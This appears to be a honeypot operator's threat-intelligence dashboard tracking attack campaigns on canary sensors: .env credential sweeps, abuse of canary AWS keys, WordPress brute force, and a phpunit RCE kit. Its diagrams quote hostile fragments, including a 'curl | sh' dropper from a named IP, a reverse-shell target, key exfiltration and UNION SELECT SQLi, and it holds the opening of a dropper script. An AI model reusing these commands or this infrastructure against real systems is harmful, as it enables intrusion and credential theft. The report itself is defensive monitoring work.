Mint volume — issued rows per day; purple = day with Tracebit use events
Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)
Curated kill-chains — registry campaigns, maintained at briefing time
CF-FRONTED CREDSWEEP new
№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
CENSUS --> MINT["76 /.env mints"]
MINT --> WATCH["AWS-use watch"]
CREDENTIAL-DRAIN active
№41: SEVENTH consecutive use window — 2 credentials used, 8 use events: 4 sts:GetCallerIdentity successes, denied ListFoundationModels ×4. Feo Prest .175 used 1 from 4 AWS IPs (mint side control-1; hoard 120/6d); SS-Net .211 used 1 from 4 IPs with 2 in-window mints. SES pair absent third window. №40: sixth window — first LeakIX use (159.65.144.72) and first .154 use. Hoards: .154 71/6d, .171 21/6d.
flowchart LR
MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
USE --> S1["sts:GetCallerIdentity<br/>✓5"]
USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]
NIGHTAGENT dormant
DROPPER RETIRED 09-24: the nightagents/nightshell repo is 404 with its GHSAT token attached — the token was byte-identical across 14 windows. Eighth run (№28) was the campaign's first mint: 105.158.191.248, two full passes on farm 09-21, 1 credential issued, zero AWS use since. Idle three windows and counting; the phpunit verify body <?php echo "NightAgent";?> is the surviving fingerprint — a return must carry a NEW dropper URL.
flowchart LR
V["phpunit webshell verify<br/>NightAgent echo"] --> D["nightshell dropper<br/>RETIRED 09-24 — 404<br/>repo removed"]
D -.-> L["form login<br/>user=root&pass=wrong"]
L --> W["wp-batch SQLi<br/>UNION SELECT"]
W --> MINT["1 mint №28<br/>(zero AWS use)"]
METADATA-HUNT idle
Idle since №22 as a campaign; 7th marker-light window. №33: 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
№41: FIRST MISS after .250's second run — no /46 census in window; pool singles minted 2 (94.154.43.129/.164, 04:16 UTC 10-04, aidev+farm). №40: .250 SECOND RUN — ru-edge 750 ev / 743 paths / 118 families in 12 s (Googlebot/2.1), 5 mints; the 743-path wordlist is the №14 .248 core. Block spans .242–.250; no observed AWS use from the /46 range.
flowchart LR
OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
MINT --> HOARD["Standing hoard<br/>zero AWS use"]
REGISTRY-HUNT active
LeakIX l9scan template. №41: RECORD WAVE — 31 l9scan IPs / 1,471 events / 22 mints (+6 burst-rejected 400s at /.env) across FIVE sensors: aidev 13 IPs/548 ev, farm 12/490, lauterbourg 8/312 (the abf92a331d66 kiteworks cluster), control 2/82, sponge 1/39 — first lauterbourg and sponge appearances. №40: 24-IP tie of the №15 wave; runner 159.65.144.72 USED its canary in AWS (GetCallerIdentity). Network-layer sibling: banner ssh-2.0-leakix_scanner fingerprint fd65145f… first seen 10-04 (see LEAKIX-SSH). Honest UA; borderline per registry.
flowchart LR
L9["LeakIX l9scan<br/>24 DO IPs"] --> W1["WebLogic console"]
W1 --> W2["Confluence · WHM/cPanel"]
W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
DR --> GR["/graphql introspection"]
GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]
CREDSWEEP active
№41: 45.148.10.171 NINTH consecutive minting window — 2 mints plus 2 burst-rejected 400s under Firefox/12 and OPR/19 forgeries (21/6d), light passes on 7 sensors. NEW collectors: 185.255.126.x /24 (5 IPs on control, 1 mint each), 105.112.176.254 (4/6d, aidev+farm), 91.92.41.8 (TechTies sibling block, 4/6d). Feo .175 minted 2 on control and used 1 (see CREDENTIAL-DRAIN). №40: standing set carried the window; .175 burst-minted 31 on control (135/6d record).
flowchart LR
OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]
XMLRPC-BRUTE active
№37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]
MALWARE-DICT active
Pfcloud 204.76.203.18 loop, №41 = 28th window: 2,248 ev on control (578 paths — volume recovered from №40's 872) plus a 6-ev ru-edge touch. №26 resume shape: 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
Git-internals walk + secrets files. №41: SECOND consecutive window — the same 3xK Tech pair (104.207.39.149, 65.111.3.141) repeated identical 144-ev / 142-path walks on canary-farm-1 (04:23, 05:26 local), 0 mints, 0 POSTs. №40: REACTIVATED after 17 idle windows; honest git/2.40.0 UA; hooks/*.sample full set. `git/2.39.0` (№13) and `git/2.40.0` are the family fingerprints.
flowchart LR
W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
REFS --- PAIR["Two 3xK Tech IPs<br/>1 h apart · 0 mints"]
LIBREDTAIL-KIT active
phpunit directory-permutation RCE, honest UA libredtail-http. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 (18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
DROP --> SH["curl | sh -s apache"]
Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
ALI --> ZERO["0 mints —<br/>recon only"]
SYNC-ENUM-WAVE merged
MERGED into WP-FORM-BRUTE (№41): the fleet-wide wp-user-enum wave runs the SYNC-ENUM Chrome/127 UA family AND registered SYNC-ENUM runners (103.154.62.39, 119.198.229.152) inside the WP-FORM roster, now with credential POSTs added. Origin: №25 — 8 IPs, byte-identical 282-ev user-enum passes (270 tarpit + 12 enum calls), staggered ~15 min.
flowchart LR
Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
P --> N1["control"]
P --> N2["ru-edge"]
P --> N3["sponge"]
N1 --- ZERO["0 mints"]
MEGA-DICT active
№41: NEW HOST 138.199.6.234 (Datacamp CH — third Datacamp-range host after 138.199.60.29/.16) replayed on frantech-ts 04:44–04:46 UTC 10-04: 13,358 events / 13,358 paths in ~2 min, 209 UAs, 0 POSTs, 0 mints; one 1-ev frantech touch 09-27. WORDLIST GREW +34 (13,325 → 13,359 vs the pooled 6-host artifact): FIRST MINER ENTRIES /xm/xmrig-static-* ×3 + /xmrig-* ×4, /pid.* ×4 archs, x86_64 stage set ×11 (clean,dbg,fin,new,nl,nowd,ns,nsr,sr,t8,v2), /b_{kt,lt,persist,wt}, /bot-linux-{amd64,arm64,mips,mipsle}, /cur.sh, /l4_armv7l, /mrun, /s/l3.sh. №40: 98.98.47.133 replay, +27 (13,298 → 13,324).
Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
UN-MERGED from METADATA-HUNT in №33 per the registered trigger. №34–№35: two consecutive absences since the un-merge — the №34 rule fired, status is standing-paused. Un-pause on a 140.245.x/161.118.x run carrying the ~94-path core.
REGISTERED №33. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 4 operators / 4 ASNs, every marker suffix fresh per run.
flowchart LR
P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
E --> END["Run ends<br/>no POST · no fanout"]
CONFIG-SWEEP active
87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
W --> MINT["/.env mints<br/>18 in-window"]
WP-FORM-BRUTE recurring
⟳ 4th window №41: FLEET-WIDE WAVE on 7 of 8 nodes — ~25-runner roster (shared 6-UA set led by forged Chrome/127.0.0.0 Mac) ran ~840 wp-user-enum-rest events (list + single-ID fetches; /users/7, /users/17 first-seen) plus ~540 wp-login-credentials POSTs. Usernames now ROTATE (admin/webmaster/editor); _wpnonce on most legs; redirect_to vhost-derived (inference.fapthropic.com, sso.rightabouteverything.show, aidev bare IP); new journey sig 5e0185746583 (probe→creds loop, 6 IPs, 4 nodes); 217.60.196.x adds three runners beside 217.60.198.3; one IPv6 runner (2407:1c00::/32). SYNC-ENUM-WAVE merged in (shared runners + UA family). 39.105.208.239 REPEATED its numeric burst: 131 POSTs / 131 bodies, pwd range 8,890–12,321. №40: 3rd window, 10-runner roster, fixed log=admin.
flowchart LR
Q["Rotating roster<br/>~25 runners · 7 of 8 nodes"] --> E["wp-json users list<br/>+ single-ID enum"]
E --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
G --> P["POST log=admin|webmaster|editor<br/>one password per body"]
P --> R["redirect_to = fleet vhost<br/>numeric + dictionary modes"]
ZKILLU-GITWALK idle
№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
C --> MINT["/.env — 2 mints"]
C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/<h1>Index"]
SS-NET TOOLING active
⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №41: .211 minted 2 on ai-devbox-1 (00:52 UTC) and USED 1 credential from 4 AWS-side IPs (GetCallerIdentity + denied ListFoundationModels) — fifth consecutive use window. Sibling .92.65 minted 6 in-window across farm+aidev (11/6d). №40: no in-window mints but a Tracebit-only use (4th consecutive use window). №39: escalation — 34 mints in 27 s on ai-devbox-1, 1 credential used.
№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
B --> C["/sslvpnLogin.html"]
C --- Z["0 mints · 4 IPs · 4 sensors"]
TOKEN-CRAWLER recurring
⟳ /24 45.198.224.x — /c/<100-char token> + .env directory variants, forged Chrome/114, 0 mints. №39: scout-shape return — .123/.125/.169 ran one-touch tarpit-module passes on all 8 nodes (16–73 ev each); no frantech /c/ wave in-window. №38: 7 IPs, three synchronized frantech waves.
flowchart LR
T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
C --> Z["0 mints · census only<br/>3 synchronized waves"]
BUCKLOG-KIT recurring
Bucklog SARL FR /24. №41: 185.177.72.75 SECOND consecutive census-class window — control-1 1,022 ev / 410 paths / 35 families in 5 min (10:01–10:06 UTC 10-03), 5 empty tarpit POSTs to /, 0 mints; №40 ran the same shape on netcup (956 ev). Original kit (phpunit verify + reverse shell to 185.177.72.3:20116, operators .66/.53) dormant since day 7. Promote the census operator on any phpunit/RCE POST.
flowchart LR
C["185.177.72.75<br/>410-path census · 35 families"] --> E[".env-variants · wp-config ·<br/>database.yml walk"]
E --> P["5 POSTs to / —<br/>tarpit-eaten, no bodies"]
P --- Z["0 mints · 2 windows<br/>netcup №40 → control №41"]
Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)
"#!/bin/sh\n\n\nwdir=\"/tmp\"\nfor i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do\n touch \"$i/test_exe
Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps
Arkime window 2026-10-03 07:33:00 → 2026-10-04 07:33:48 UTC · 120,703 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprint
campaign
sessions
src IPs
networks
countries
ports
src IPs/day
f555226df196…
LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)